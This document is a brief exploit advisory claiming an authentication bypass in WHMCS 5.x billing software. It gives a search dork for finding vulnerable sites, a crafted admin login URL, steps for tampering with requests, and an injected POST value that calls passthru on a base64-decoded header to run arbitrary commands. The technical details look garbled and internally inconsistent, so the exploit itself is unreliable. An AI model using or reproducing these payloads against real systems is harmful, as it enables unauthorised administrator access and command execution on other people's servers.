WHMCS 5.x versions suffers from a cookie-validation vulnerability, where sessions can be modified and authentication can
be easily bypassed.
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# Description : WHMCS 5.x Authentication Bypass Vulnerability
# Author : Agd_Scorp
# Contact:
vorscorp@hotmail.com
# Version : 5.x
# Link :
Order Now - WHMCS
# Date : Monday, December 31, 2012
# Dork : intext:Powered by WHMCompleteSolution
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Recommended: You must have BEeF or Tamper Data already installed, I do not recommend doing this process manually.
# The Fact:
WHMCS
5.0 is completely vulnerable to this vulenrability, but in 5.1 version,
WHMCS has added extra cache-security, so I've added an extra-payload
for it, you can do the exploitation-process without the payload in the
5.0 version.
# The Exploitation
http://site.com/whmcs/admin/login.php?correct&cache=1?login=getpost{}
after
you have successfully entered that into your browser, the page will lag
for abit due to the cache-validation, which we, ofcourse, will change
it. ;-)
when the page is loading, quickly open Tamper Data and change the loading POST_SESSION request & the payload to
this:
POST: $post(login=1);passthru(base64_decode(\$_SERVER[HTTP_CMD]))&login_cancel;die;";
Payload: $payload = "login=1&title=1&execorder=0&hook=urlencoded&redir ect={admin_index}";
# The Result
Once
you have done this process, you will be automatically be redirected to
the admin page, although, if the administrator has enabled
cache-security, this process will fail.
# Solution & Fix
No solution & fix, just wait for the WHMCS team to release a patch for this vulnerability.
